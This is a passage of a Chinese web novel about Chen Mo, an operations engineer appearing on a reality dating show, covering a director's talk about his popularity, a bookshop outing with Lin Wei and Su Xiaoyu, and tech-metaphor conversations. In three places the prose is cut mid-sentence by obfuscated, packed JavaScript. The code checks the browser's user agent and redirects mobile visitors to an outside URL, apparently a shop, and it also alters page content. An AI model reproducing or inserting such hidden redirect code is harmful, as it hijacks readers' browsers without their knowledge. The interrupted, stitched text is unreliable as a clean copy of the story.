陈末想了想。需求?他最大的需求是按时拿到日薪一千。但这话不能说。 “还行。”他说,“WiFi信号很好,房间安静,食物也不错。” 刘导又笑了:“那就好。对了,关于今天的任务奖励——明天一整天的自由安排,你们有计划了吗?” “还没和苏小雨商量。”陈末说,“可能会找个安静的地方。” “可以,挺好的。”刘导放下茶杯,身体前倾,“陈末,我直说了。你这两天的表现……超出我们预期。” 陈末心里一紧。超出预期?什么意思?他演“背景板”演过头了?还是哪里露馅了? “我……做得不对?”他试探地问。 “不,不是不对。”刘导摆手,“是太好了。你那种真实的、不刻意表演的状态,正是我们节目需要的。” 陈末松了口气。原来是夸他演“真实”演得好。 “我会继续保持。”他认真地说。 刘导看着陈末,眼神里有种复杂的东西——欣赏、好奇,还有一丝……算计? “你知道今天先导片的反馈吗?”刘导问。 “看到一点热搜。”陈末说,“张伟发给我了。” “何止一点。”刘导站起身,走到办公桌前,拿起一份打印文件,“这是今天下午六点前的舆情数据报告。你那段‘为钱而来’的采访,播放量已经突破八百万,相关话题阅读量三点二亿。” 陈末接过报告。纸张很厚,上面全是图表和数字。他翻到第一页,看到自己的名字出现在“热度贡献榜”第一位,后面跟着一个百分比:42.7%。 意思是节目42.7%的热度是他贡献的。 “这个数据……”陈末迟疑,“准确吗?” “平台官方数据。”刘导说,“你知道这意味着什么吗?” 陈末想了想。意味着他演得很成功?意味着节目组对他的投资(日薪一千)回报率很高?意味着……他可以要求加薪? 但合同签了,加薪不可能。他放弃这个念头。 “意味着节目关注度很高。”陈末说。 刘导重新坐下,笑容更深了:“意味着你,陈末,现在是我们节目最重要的资产之一。” 最重要的资产。陈末在心里换算:最重要的资产日薪一千,那其他资产(明星们)日薪多少?肯定比他高很多。这个“最重要”大概只是客气话。 “我只是做好本职工作。”陈末说。 “对,就是这种态度!”刘导拍了下大腿,“保持真实,保持这种‘我只是来工作’的状态。这就是你最大的价值。” 陈末点点头。他明白了:节目组需要他维持“为钱而来的真实素人”人设。这个简单,他本来就是。 “另外,”刘导继续说,“我注意到你和几位女嘉宾的互动……很有意思。” 陈末警觉起来。互动?他只是在回答问题,修平板,做任务。 “哪方面?”他谨慎地问。 “林薇借你的书,还和你讨论技术问题。”刘导说,“楚曦明显对你有好感。苏小雨更不用说,今天一直围着你转。秦澜也很欣赏你的思维方式。” 陈末等着“但是”。通常这种列举后面会有限制条件。 “但是,”刘导果然说了,“要注意平衡。不要让任何一条线发展得太快,或者太慢。综艺需要的是张力,是若即若离,是让观众猜不透。” 陈末听不懂。什么线?张力?他只是在应付工作。 “我不太明白。”他老实说。 “简单说,”刘导解释,“你可以对所有人友好,但不要明确倾向谁。给观众留出想象空间。比如林薇问你技术问题,你可以回答,但也可以偶尔把话题抛给其他人。苏小雨找你玩,你可以一起,但也可以偶尔和楚曦去游泳。” 陈末想了想:“这是工作要求吗?” “算是……专业建议。”刘导说,“为了节目效果,也为了你个人的可持续发展。” 可持续发展。陈末琢磨这个词。意思是让他保持热度,持续为节目贡献流量,这样节目组付的日薪一千才更值? 他懂了。这是双赢。他赚钱,节目组赚流量。 “我尽量。”他说。 “很好。”刘导满意地点头,“还有一件事。明天你和苏小雨的自由活动,我们安排了一个跟拍摄影,但不会干扰你们。另外,节目组提供五千元活动经费,你们可以随便用。” 五千元。陈末心里一动。这钱……能报销进他的收入吗?不能吧,这是活动经费,不是报酬。 “另外,”刘导补充,“考虑到你最近的热度和贡献,节目组决定给你一点额外奖励。” 陈末坐直了。额外奖励?加钱? 刘导从抽屉里拿出一个信封,放在茶几上:“这是一张海岛购物中心的礼品卡,面值五千。算是……对你出色表现的感谢。” 陈末看着信封。不是现金,是礼品卡。也好,可以给母亲买点营养品。 “谢谢。”他说。 “不客气,这是你应得的。”刘导说,“继续保持。记住,真实就是你最大的武器。” 谈话似乎结束了。陈末起身,刘导送他到门口。 “对了,”刘导在门口说,“林薇刚才找我,说明天想借你那本书再看一天。你方便的话,早餐时带给她。” “好。”陈末点头。 门关上。陈末站在走廊里,手里拿着那份舆情报告和礼品卡信封。 他先打开信封,里面确实是张购物卡,设计精美,面值五千。他小心收好。 然后他翻看舆情报告。第二页是详细的数据分析,图表密密麻麻。他看到自己的名字反复出现:“陈末金句”、“陈末真实”、“陈末技术男”。 翻到第三页,有一张热度趋势图。代表他的那条红线从昨天开始直线飙升,今天下午达到峰值,把其他五条线(其他嘉宾)远远甩在后面。 陈末看着那条孤独的高耸红线,忽然觉得有点不真实。 这些人,这些成千上万的陌生人,为什么对他感兴趣?因为他说了句“为钱而来”?因为他会修服务器?还是因为……别的什么? 他摇摇头,把报告夹在腋下,往房间走。 走廊很安静,能听见自己的脚步声。经过二楼时,他看见苏小雨的房间门缝下透出光亮,里面传来轻轻的歌声——她在练歌。楚曦的房间门关着,但能听见里面传来运动视频的声音,大概在跟着做拉伸。林薇的房间……灯暗着。 陈末继续上楼。三楼,王烁的房间门突然开了。 王烁走出来,穿着居家服,头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明日自由活动经费5000元(节目组出),需与苏小雨规划行程。 写完,他盯着“热度极高”四个字。 热度高是好事吗?从节目组角度看是。从他角度看呢?如果热度太高,观众对他期望变高,他会需要做更多“表演”,更累。而且可能引来其他嘉宾的……不满。 比如王烁。 陈末想起刚才王烁拍他肩时的力度,比平时重一点。还有那个眼神,虽然笑着,但深处有什么东西。 他摇摇头,不想了。热度高就高吧,反正他只干三十天。三十天后,拿钱走人,谁还记得他? 他去洗漱,准备睡觉。洗澡时,脑子里还在算账:今天额外获得五千元购物卡,相当于日薪的一千之外又多五千。虽然不能直接变现,但可以买等值物品,等于变相加薪。 不错。他擦干头发,躺到床上。 关灯前,他又看了眼那份舆情报告。月光从窗户照进来,落在报告第三页的热度趋势图上。那条代表他的红线,在月光下显得格外刺眼。 陈末忽然想起刘导的话:“你最大的价值就是真实。” 真实。 他真的真实吗?他说“为钱而来”是真实,但他没说出全部真实——他为的是母亲的救命钱。他和女嘉宾互动时表现出的“真实”,其实也是一种表演,因为合同要求他“保持真实”。 所以,连“真实”都是表演的一部分。 这个念头让他有点不舒服。他翻了个身,强迫自己睡觉。 明天还要早起,还要带书给林薇,还要和苏小雨规划自由活动,还要……继续演“真实”。 窗外的海声传来,规律而持续。 像某种背景音,提示着这个系统还在运行。 而陈末,这个突然变得重要的“组件”,需要在系统里找到自己的新位置。 他不知道自己能不能找到。 他只知道,明天醒来,又要开始计算新一天的工时。 日薪一千。 还有二十九天。 闭眼前,他脑子里最后一个画面是那份舆情报告上的数字:3.2亿阅读量。 三亿两千万。 他不知道这个数字意味着什么。 他也不知道,就在他睡着时,那个数字又悄悄往上跳了一截。 而刘导办公室里,监控屏幕上,代表陈末热度的曲线,还在持续上升。 像一座突然拔地而起的山,把周围的一切都比成了丘陵。 12. 海边约会:图书馆与旧书店 早晨七点半,陈末拿着那本《Linux服务器运维实战》走进餐厅时,苏小雨像颗小炮弹一样冲到他面前。 “陈末老师!我们今天去哪里玩呀?”她眼睛亮晶晶的,扎着双马尾,穿了身粉白色的运动装,背着小背包,一副随时可以出发的样子。 陈末把书放在桌上,先给自己倒了杯水:“还没想好。你有什么建议吗?” “我想去海边坐玻璃船看珊瑚!”苏小雨立刻说,“或者去那个网红悬崖咖啡馆!听说拍照超好看!” 陈末在心里评估这两个选项。玻璃船:人多,晒,可能要排队。悬崖咖啡馆:网红景点,人多,贵,而且大概率要拍照——他不喜欢拍照。 “或者……”他斟酌着说,“找个安静的地方坐坐?” 苏小雨噘嘴:“陈末老师,这可是自由活动诶!一整天!我们应该去玩点有意思的!” 其他人都陆续来了。楚曦今天穿得格外休闲——大T恤、短裤、人字拖,头发随便扎了个丸子头。看见苏小雨的装扮,她挑眉:“小雨你这是要去春游?” “是自由活动!”苏小雨纠正。 秦澜还是商务风,但换了件浅色衬衫,看起来没那么严肃。她看了眼陈末:“有计划了?” “在讨论。”陈末说。 林薇最后一个来。她今天穿了条简单的米色连衣裙,头发披着,戴了顶草帽。看见陈末桌上的书,她走过来:“书能再借我一天吗?” “可以。”陈末把书推过去。 林薇拿起书,翻到夹着便签的那页——第七章,故障排查。她看了一眼,又合上:“谢谢。” 早餐时,大家的话题都围绕着自由活动。王烁说他打算在别墅休息,看点电影。楚曦说要去海里游几公里。秦澜说约了岛上的朋友谈事情。 苏小雨还在试图说服陈末:“玻璃船真的很好玩!水特别清,能看到好多鱼!” 陈末喝了口粥:“我晕船。” “诶?真的吗?” “真的。”陈末面不改色地说。其实他不确定自己晕不晕船,但这么说能最快结束这个话题。 苏小雨失望地低头戳着碗里的水果。 林薇忽然开口:“岛上有个图书馆,听说藏书很特别。” 陈末抬头。 “图书馆?”苏小雨皱眉,“林薇姐,自由活动去图书馆?” “嗯。”林薇淡淡地说,“安静,人少,有空调。” 陈末心动了。图书馆符合他对“理想自由活动场所”的所有要求:安静,有座位,有WiFi(大概率),不需要社交,可以看书或者处理工作。 “图书馆不错。”他说。 苏小雨看看陈末,又看看林薇,眼睛转了转:“那……我也想去图书馆!” 楚曦笑出声:“小雨,你坐得住吗?” “我可以试试嘛!” 早餐后,陈末和苏小雨回房间准备。节目组提供的五千元经费以现金形式给了他们,装在一个信封里。苏小雨拿着信封,兴奋地数钱。 “五千块!我们可以吃大餐了!” “图书馆应该不用门票。”陈末提醒。 “那也要吃午饭呀!”苏小雨把钱包好,“走吧走吧,跟拍老师已经在门口等了。” 别墅门口停着一辆白色观光车,司机是个本地大叔,皮肤黝黑,笑容热情。跟拍摄影师小赵已经架好设备坐在后排了,看见他们,挥手打招呼。 “陈末老师,苏小雨老师,早上好。” “早上好。”陈末点头。 三人上车。小赵调整摄像机:“两位老师不用管我,就当我不存在。自然一点就好。” 车开了。海风迎面吹来,带着咸湿的气息。苏小雨坐在陈末旁边,兴奋地指着路边:“看!椰子!那边有卖椰子的!” 陈末顺着她指的方向看,确实有个小摊,摆着青色的椰子。摊主正用砍刀削椰子顶,动作熟练。 “回来的时候可以买一个。”陈末说。 “好呀!” 车沿着海岸线开了二十分钟,拐进一条小路。路边指示牌写着“海岛文化中心”,箭头指向一栋白色建筑。 那就是图书馆。三层楼,设计现代,玻璃幕墙在阳光下闪闪发亮。门口有块牌子,上面写着开放时间:周二至周日,9:00-17:00。 今天周四。现在九点十五分。时间刚好。 车停下。陈末和苏小雨下车,小赵扛着摄像机跟在后面。 图书馆门口……锁着。 玻璃门上贴了张A4纸,打印的字迹:“今日内部整理,暂停开放。敬请谅解。” 苏小雨“啊”了一声,凑近看:“怎么会这样……” 陈末也看了看通知。纸张很新,墨迹未干,应该是今早刚贴的。 “怎么办?”苏小雨转头看他,眼里满是失望。 陈末环顾四周。图书馆旁边有条小巷,巷口有个不起眼的木牌,手写着“旧书·旧时光”,箭头指向巷内。 “那边有个书店。”他说。 “旧书店?那……去看看?”苏小雨不确定地问。 三人走进小巷。巷子很窄,两边是斑驳的墙壁,墙上爬着藤蔓。走了大概五十米,看见一扇木门,门上挂着风铃。 推开门,风铃叮当作响。 书店比想象中大。室内光线昏暗,只有几盏暖黄色的台灯亮着。书架高到天花板,密密麻麻摆满了书,空气里有旧纸张和灰尘混合的味道。一个白发老爷爷坐在柜台后看报纸,听见声音,抬头看了他们一眼,又低头继续看报。 “哇……”苏小雨小声惊叹,“好多书。” 确实多。书店分成几个区域,书架之间留出仅容一人通过的过道。书按类摆放,但显然很久没整理过了,有些书堆在地上,有些斜插在书架上。 陈末走到最近的书架前。这一区是科技类,他看到几本很老的计算机书:《DOS系统入门》、《BASIC语言程序设计》、甚至还有一本《穿孔卡片编程指南》。 他抽出一本《C程序设计语言》,第二版,封面已经褪色,出版年份是1988年。 “你在看什么?”苏小雨凑过来。 “老书。”陈末翻开,纸张泛黄,但保存得不错。里面有些手写的笔记,字迹工整,大概是某个程序员的遗留物。 “好旧哦。”苏小雨对技术书没兴趣,转身去其他区域了。 陈末继续在书架间走动。他找到一整排的计算机科学经典著作:Knuth的《计算机程序设计艺术》、Tanenbaum的操作系统教材、甚至还有一本初版的《人月神话》。这些书在市面上已经很难找到纸质版了。 他拿了几本感兴趣的去柜台。老爷爷放下报纸,戴上老花镜,一本本看。 “这些都要?”老爷爷声音沙哑。 “嗯。” 老爷爷拿起计算器,慢慢按:“这本五十,这本八十,这本……一百二。一共二百五。” 陈末付钱。老爷爷用牛皮纸把书包好,系上麻绳。 “你是搞计算机的?”老爷爷问。 “运维工程师。” “哦。”老爷爷点头,“我儿子以前也是。后来去大城市了。” 陈末不知道该怎么接话,点点头,拿着书准备去找苏小雨。 走过一个转角,他看见林薇。 林薇站在哲学区的书架前,手里拿着一本诗集。她没戴帽子,头发松松披着,在昏暗的光线下看起来柔和很多。听见脚步声,她抬头,看见陈末,愣了一下。 “你怎么在这儿?”两人同时问。 然后林薇先回答:“听说这个书店很有名,来看看。” “图书馆关门了。”陈末说。 “我知道。”林薇说,“所以来这里。” 苏小雨从另一个书架后探出头:“林薇姐!你也来啦!” “嗯。”林薇点头,“你们……一起来的?” “对呀!”苏小雨蹦跳着过来,“图书馆没开,陈末老师就说来这儿看看。没想到你也来了!” 陈末觉得这个巧合有点太巧了。但林薇的表情很自然,不像事先知道。 “你买了什么书?”林薇看向陈末手里的纸包。 “几本老技术书。”陈末打开纸包给她看。 林薇看了一眼,目光停在那本《人月神话》上:“这本我听过。讲软件工程的?” “嗯。经典。” “能借我看吗?”林薇问,“看完还你。” 陈末把书递给她。林薇接过,翻开第一页,上面有前主人的签名和日期:1995.3.12。 “二十七年了。”她轻声说。 苏小雨对老书没兴趣,又去其他区域逛了。小赵的摄像机在远处对着他们,但保持了礼貌的距离。 林薇继续在书架前翻阅。她看的都是哲学、文学类的书,偶尔抽出一本,翻几页,又放回去。动作很慢,很专注。 陈末站在她旁边,不知道是该走开还是该留下。最后他决定也看看书——来书店不看书干什么? 他走到旁边的书架,这里都是数学和物理书。他抽出一本《哥德尔、艾舍尔、巴赫》,这本他也听说过,但一直没时间看。 两人就这样站在相邻的书架前,各自看书。书店里很安静,只有翻页的声音,和远处苏小雨偶尔发出的惊叹。 过了大概二十分钟,林薇忽然开口:“你平时看书多吗?” “技术书多。”陈末说,“其他看得少。” “为什么?” “没时间。”陈末实话实说,“工作忙,而且要看技术文档、更新日志、故障报告。” 林薇点点头。她合上手中的诗集,放回书架,又抽出一本:“这本你看过吗?” 陈末看了一眼封面:《禅与摩托车维修艺术》。他摇头。 “讲什么的?”他问。 “讲……质量。”林薇说,“技术、艺术、哲学之间的关系。” “听起来很深奥。” “不深奥。”林薇翻开书,找到一页,递给陈末,“你看这段。” 陈末接过。段落讲的是维修摩托车时的精神状态——专注、沉浸、与工具和机器融为一体。 “有点像运维。”陈末说,“处理故障时要进入那种状态,忘记时间,忘记周围,只想解决问题。” 林薇看着他:“你享受那种状态吗?” 陈末想了想:“享受。问题解决的那一刻,很有成就感。” “即使问题还会再出现?” “会再出现,就再解决。”陈末说,“这就是工作。” 林薇沉默了一会儿。她靠在书架上,灯光从侧面照过来,在她脸上投下柔和的阴影。 “我演戏的时候,也会进入那种状态。”她说,“忘记自己是林薇,忘记镜头,忘记观众。只是那个角色,在那个情境里。” “出戏难吗?”陈末想起她之前说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990773|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的“线程无法退出”。 “难。”林薇说,“有时候拍完一部戏,要花几个月才能完全走出来。就像……系统切换有延迟。” 这个比喻让陈末笑了。很短促的笑,几乎听不见。 林薇也微微扬了扬嘴角:“我是不是用错词了?” “没有,很准确。”陈末说,“系统切换确实有延迟,尤其是从高负载状态切换回空闲状态。” “那怎么减少延迟?” “优化代码,减少状态保存和恢复的开销。”陈末说,“或者……预加载。在切换前就准备好下一个状态需要的数据。” 林薇若有所思地点头。她看着手里的书,手指轻轻摩挲着书页边缘。 “陈末。”她忽然说。 “嗯?” “如果……”林薇停顿了一下,像在斟酌词句,“如果一个系统运行了很久,但从来没有真正重启过,会怎么样?” 陈末认真思考这个问题。这在运维里是个经典场景。 “内存碎片会累积,资源泄漏会越来越多,性能会逐渐下降。”他说,“最终可能因为某个小故障就彻底崩溃。” “那应该怎么办?” “定期维护。”陈末说,“重启服务,清理缓存,检查日志,修复已知问题。” “如果……不能重启呢?” “为什么不能?” 林薇没有回答。她看着书架深处,眼神有些空。 陈末等了几秒,换了个角度回答:“如果不能重启,就做热升级。在运行状态下替换组件,更新代码,逐步迁移到新版本。虽然风险高,但做好了可以实现平滑过渡。” “热升级。”林薇重复这个词,“怎么做?” “需要详细的计划,充分的测试,回滚方案,还有……勇气。”陈末说,“因为一旦开始,就不能回头。” 林薇点点头。她把书放回书架,双手插进口袋。 “谢谢。”她说,“很有帮助。” “不客气。” 苏小雨这时抱着一堆书过来:“陈末老师!林薇姐!你们看我找到了什么!” 她抱的都是漫画书和绘本,封面花花绿绿。 “这些书好可爱!”苏小雨兴奋地说,“我可以买吗?” “经费在你那里。”陈末提醒。 “对哦!”苏小雨数了数,“五本,一共……一百八十块!不贵!” 她抱着书去柜台结账。林薇和陈末也跟过去。 老爷爷慢悠悠地算钱,打包。苏小雨付了钱,心满意足地抱着纸袋。 “我们接下来去哪儿?”她问。 陈末看了眼时间,十一点。离午饭还有一小时。 “回别墅?”他提议。 “啊?这么早?”苏小雨失望。 “我有点工作要处理。”陈末说。这是实话——他早上收到公司邮件,有个生产环境的问题需要他远程协助。 林薇说:“我也回去。下午还有事。” 苏小雨看看陈末,又看看林薇,最后妥协:“好吧……” 三人走出书店。阳光刺眼,从昏暗的书店出来,眼睛需要适应一会儿。 车还在巷口等。他们上车,回程。 路上,苏小雨翻看刚买的漫画,不时笑出声。林薇看着窗外,表情平静。陈末则在脑子里规划下午的工作:先登录□□,查看问题描述,分析日志,制定方案…… 车开到别墅门口时,陈末的手机震动了一下。是公司同事发来的消息:“末哥,问题紧急,能尽快上线吗?” 他回复:“十分钟后。” 下车,进别墅。苏小雨抱着书回房间了,林薇也上了楼。 陈末快步回房间,打开笔记本电脑。 登录,查看问题。是个数据库连接池泄漏,导致新连接无法建立。他快速写了个修复脚本,测试,部署。 十二点半,问题解决。 他松了口气,看了眼时间。该吃午饭了。 但手机又震动了。这次不是工作消息,是张伟。 “末哥!你和林薇在书店被拍了!照片已经在网上传开了!” 陈末皱眉,点开张伟发的链接。 是个八卦营销号发的文章,标题:“《心动的岛屿》新进展:陈末林薇旧书店单独约会,苏小雨同行变电灯泡?” 配图是他们在书店的照片,拍得很模糊,但能认出人。一张是陈末和林薇站在书架前说话,一张是苏小雨在远处看书。 文章内容写得绘声绘色,说陈末和林薇“相谈甚欢”,“气氛暧昧”,苏小雨“被冷落”。 评论区已经吵起来了: “林薇和陈末?这什么神奇组合?” “但莫名有点好嗑是怎么回事?” “苏小雨好可怜……” “陈末这是要开后宫吗?” “节目效果吧,别当真。” 陈末关掉页面。 约会?他们只是在书店偶遇,聊了几句技术问题。 但照片看起来……确实像那么回事。 他想起刘导说的“平衡”。这下好了,平衡打破了。 手机又震动。这次是刘导的消息: “陈末老师,看到新闻了吗?别担心,是好事,增加话题度。下午方便来我办公室一趟吗?我们聊聊。” 陈末看着这条消息,叹了口气。 他只想安安静静赚个日薪一千。 怎么就这么难呢? 13. 旧书店里的故障诊断 下午两点,陈末站在刘导办公室门口,脑子里正在复盘上午的“书店事件”。 从技术角度看,这是一次典型的“信息误解导致的状态不一致”。他(组件A)和林薇(组件B)在共享环境(书店)中执行独立任务(找书),因偶然接触触发了一次数据交换(聊技术),外部观察者(狗仔)截取部分交互数据(模糊照片)后得出错误推论(约会),进而引发系统级连锁反应(热搜、刘导约谈)。 解决方案?澄清事实。但刘导说“是好事”。意味着节目组认为这种“误解”有利于系统(节目)的整体性能(热度)。 那么他的最优策略是:配合演出,但不主动推进,维持当前“技术性互动”模式,同时……继续算自己的钱。 他敲门。 “进来。”刘导的声音。 办公室里,刘导正在看电脑屏幕,上面是微博的实时热搜榜。#陈末林薇书店#排在第八位,后面有个“热”字标签。 “坐。”刘导指着沙发,“看到新闻了?” “看到了。”陈末坐下。 “感觉怎么样?” “照片拍得很模糊。”陈末说,“实际距离比看起来远。” 刘导笑了:“我知道。但观众不知道,也不需要知道。他们只需要一个可以讨论的故事。” 陈末没说话。 “别紧张,”刘导身体前倾,“我叫你来不是批评你。相反,我要表扬你。” 表扬?陈末等着下文。 “你和林薇的互动,很有深度。”刘导说,“不是那种肤浅的打情骂俏,而是……思想交流。这在恋综里很少见,也很珍贵。” 陈末想:他们只是在聊服务器重启和热升级。 “林薇在节目里一直很被动,”刘导继续说,“她是最大牌的嘉宾,但也是最难撬开的壳。你无意中找到了钥匙。” 钥匙?陈末想起自己说的“热升级”。 “所以,”刘导总结,“保持这种状态。你们可以多交流,多聊那些……技术问题,哲学问题,什么都行。重要的是那种氛围。” “什么氛围?” “两个聪明人在认真对话的氛围。”刘导说,“观众爱看这个。比你想象中更爱看。” 陈末点点头。他懂了:节目组需要他和林薇制造“高质量对话”内容。 “不过,”刘导话锋一转,“也要注意方式。下次如果再有类似场合,可以提前跟节目组说一下,我们好安排拍摄。” 意思是:下次“偶遇”要提前报备。 “好。”陈末说。 谈话结束。陈末离开办公室,在走廊里遇到林薇。 她站在窗边,看着外面,手里拿着那本《人月神话》。听见脚步声,她转过头。 “刘导找你?”她问。 “嗯。”陈末走到她旁边,“聊书店的事。” “抱歉,”林薇说,“给你添麻烦了。” “没事。”陈末说,“刘导说是好事。” 林薇沉默了一会儿。窗外,花园里苏小雨和楚曦正在打羽毛球,笑声隐约传来。 “那本书,”林薇举起手中的《人月神话》,“我看完了第一章。” “怎么样?” “有点难懂。”林薇坦白,“但有些地方很有意思。比如他说大型项目为什么会失败——不是因为技术,而是因为沟通。” “那是经典理论。”陈末说,“软件工程本质上是人的工程。” 林薇看着他:“演戏也是。剧组几百人,导演、演员、摄影、灯光、道具……每个人都有自己的想法和习惯。要让所有人都朝一个方向努力,很难。” “需要清晰的架构和协议。”陈末说,“像分布式系统,每个节点都要知道自己的职责和交互方式。” “如果某个节点出问题了呢?” “隔离它,修复它,或者替换它。” “如果那个节点是自己呢?”林薇问得很轻。 陈末转头看她。林薇的表情很平静,但眼神里有种很深的东西。 “自己出问题最难排查。”陈末说,“因为缺少外部视角。” “所以需要别人帮忙诊断?” “嗯。”陈末点头,“或者……自己开发一套监控系统。” 林薇笑了,很淡的笑:“怎么开发?” 陈末认真思考这个问题。在运维里,监控系统包括指标收集、存储、可视化和告警。 “首先确定要监控什么。”他说,“关键指标。比如……情绪稳定性?工作满意度?人际关系质量?” “然后呢?” “设置阈值。什么情况下算正常,什么情况下算警告,什么情况下需要紧急干预。” “怎么收集数据?” “日志。”陈末说,“记录每天的重要事件和感受。定期回顾,分析模式。” 林薇若有所思:“听起来像写日记。” “比日记更结构化。”陈末说,“要有时间戳,有分类标签,有严重程度评级。” “你会这么做吗?”林薇问。 “偶尔。”陈末说,“主要是工作日志。记录故障和解决方案,避免重复犯错。” “生活上呢?” 陈末想了想:“生活上……我会算收支。” “收支?” “时间收支,精力收支,情绪收支。”陈末说,“像记账一样,确保整体平衡。” 林薇看着他,眼神复杂:“你真是一套完整的系统。” “职业病。”陈末说。 两人沉默了一会儿。窗外的羽毛球赛分出了胜负,苏小雨赢了,高兴得跳起来。 “陈末。”林薇忽然说。 “嗯?” “如果……”她停顿了很久,“如果一个人的监控系统发现,所有指标都在缓慢恶化,但没有明显的单点故障,该怎么办?” 陈末意识到这不是假设问题。这是林薇的真实困惑。 他谨慎地回答:“这种情况,通常是系统设计本身有问题,或者环境变了而系统没跟上。” “具体?” “比如,原本系统是为轻负载设计的,现在负载持续增加,但没有扩容。或者,原本的架构假设已经不成立,需要重构。” 林薇的手指在书脊上轻轻敲击。这是她思考时的习惯动作。 “重构……”她低声重复。 “重构风险很大,”陈末补充,“但有时是唯一的选择。” “你重构过自己吗?” 陈末想了想:“工作上有。从一个技术栈换到另一个,学习新东西,调整思维方式。” “生活上呢?” “生活上……”陈末停顿,“我更多的是打补丁。哪里有问题就修哪里,不追求彻底重构。” “为什么?” “因为重构需要停机时间。”陈末说,“而生活不能停机。” 林薇点点头。她看向窗外,阳光在她脸上投下斑驳的光影。 “我可能需要一次重构。”她说,声音很轻,像在自言自语。 陈末不知道该怎么回应。他只是一个运维工程师,不是心理医生。 但他可以给技术建议。 “如果你决定重构,”他说,“建议分阶段进行。先做详细设计,准备回滚方案,然后一个模块一个模块地替换。不要一次性全换,风险太大。” 林薇转头看他:“模块……比如?” “比如工作模式。比如社交方式。比如……”陈末斟酌用词,“自我认知。” 林薇的眼睛微微睁大。她没想到陈末会说得这么直接。 “自我认知怎么重构?”她问。 “重新评估输入输出。”陈末说,“你接收什么信息?你产生什么行为?这些信息和行为是否符合你想要的系统目标?如果不符合,调整处理逻辑。” “系统目标……”林薇苦笑,“我很久没想过这个了。一直只是在运行,执行既定的脚本。” “那现在可以想了。”陈末说,“你是系统的架构师,不是被动的执行进程。” 林薇沉默了很久。窗外的阳光慢慢移动,从她脸上移到肩上。 “谢谢你。”她说,“这些话……很有帮助。” “不客气。”陈末说,“只是技术类比,不一定准确。” “很准确。”林薇说,“比心理医生的比喻更准确,因为他们总用模糊的词汇,而你的每个词都有明确定义。” 陈末不知道这是夸奖还是什么,点点头。 林薇看了眼时间:“我该去准备下午的录制了。” “下午有录制?” “嗯,单人采访补充。”林薇说,“昨天没做完。” 她转身要走,又停下:“对了,书明天还你。第二章还没看完。” “不急。” 林薇点点头,离开了。 陈末站在原地,看着她的背影消失在走廊尽头。 他脑子里在复盘刚才的对话。林薇在寻求帮助,而他给出了技术方案。这算越界吗?应该不算,他只是回答专业问题。 但隐隐觉得,这不只是专业问题。 手机震动,是张伟的消息:“末哥!书店热搜冲到第五了!评论区都在猜你和林薇到底聊了什么!” 陈末回复:“聊了系统重构和热升级。” 张伟:“???说人话!” 陈末:“就是聊了点技术问题。” 张伟:“……行吧。对了,苏小雨的粉丝有点不满,说你冷落她。王烁的粉丝也在带节奏,说你抢镜头。注意点啊。” 陈末皱眉。粉丝不满?他只是在工作。 他回到房间,打开笔记本电脑。先处理了几个工作邮件,然后打开微博,看热搜话题。 点进#陈末林薇书店#,热门微博是一个娱乐博主发的长文,分析他和林薇的“可能性”。文章写得有理有据,配了各种截图和对比图,最后结论是:“虽然看似不搭,但精神层面的共鸣可能比表面互动更深刻。” 评论区分成几派: “技术男×影后,这cp我嗑了!” “陈末明显对小雨更好吧?书店里都在和林薇说话,小雨一个人在旁边。” “只有我觉得陈末是在海王吗?对每个女嘉宾都有一套。” “楼上+1,对林薇聊技术,对小雨照顾,对楚曦指导运动,对秦澜聊管理……端水大师啊!” “但人家至少真诚,总比某些人装模作样强。” 陈末关掉页面。海王?端水大师?他只是在对每个人做最有效的沟通而已。 但观众似乎不这么认为。 手机又震动,这次是苏小雨:“陈末老师!下午有空吗?我平板又卡了……” 陈末叹了口气。又卡了?这平板的故障率有点高。 他回复:“三点后可以。” “好呀!那三点我去找你!” 陈末看了眼时间,两点二十。他还有四十分钟可以处理工作。 他登录公司监控系统,查看服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990774|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务器状态。一切正常,没有报警。他又检查了昨天的故障修复记录,确认问题没有复发。 两点五十,他关掉电脑,准备迎接苏小雨的“平板维修任务”。 三点整,敲门声准时响起。 陈末开门。苏小雨站在门口,手里拿着平板,另一只手抱着一个小盒子。 “陈末老师!”她笑容灿烂,“打扰啦!” “没事。”陈末让她进来。 苏小雨把盒子放在桌上:“这是谢礼!我自己做的饼干!” 陈末打开盒子,里面是造型可爱的饼干,有星星、月亮、小熊形状。 “谢谢。”他说。 “先尝尝!”苏小雨期待地看着他。 陈末拿了一块小熊饼干,咬了一口。很甜,黄油味很重。 “好吃吗?” “好吃。”陈末说,“就是有点甜。” “甜才好吃呀!”苏小雨自己拿了一块,“对了,平板又卡了,帮我看看?” 陈末接过平板。确实卡,滑动桌面都有明显延迟。他进入设置,查看存储空间——还剩不到10%。 “空间不够了。”他说,“你装了太多应用和照片。” “啊?那怎么办?” “删掉一些不用的。”陈末点开应用列表,“这个游戏,你玩吗?” “不玩了……” “删了。”陈末卸载。 “这个修图软件呢?” “偶尔用……” “先删,需要的时候再装。” “这些照片……”苏小雨看着相册里几百张照片,犹豫。 “备份到云端,然后本地删除。”陈末教她操作。 清理了半小时,平板释放了40%的空间,运行速度明显变快。 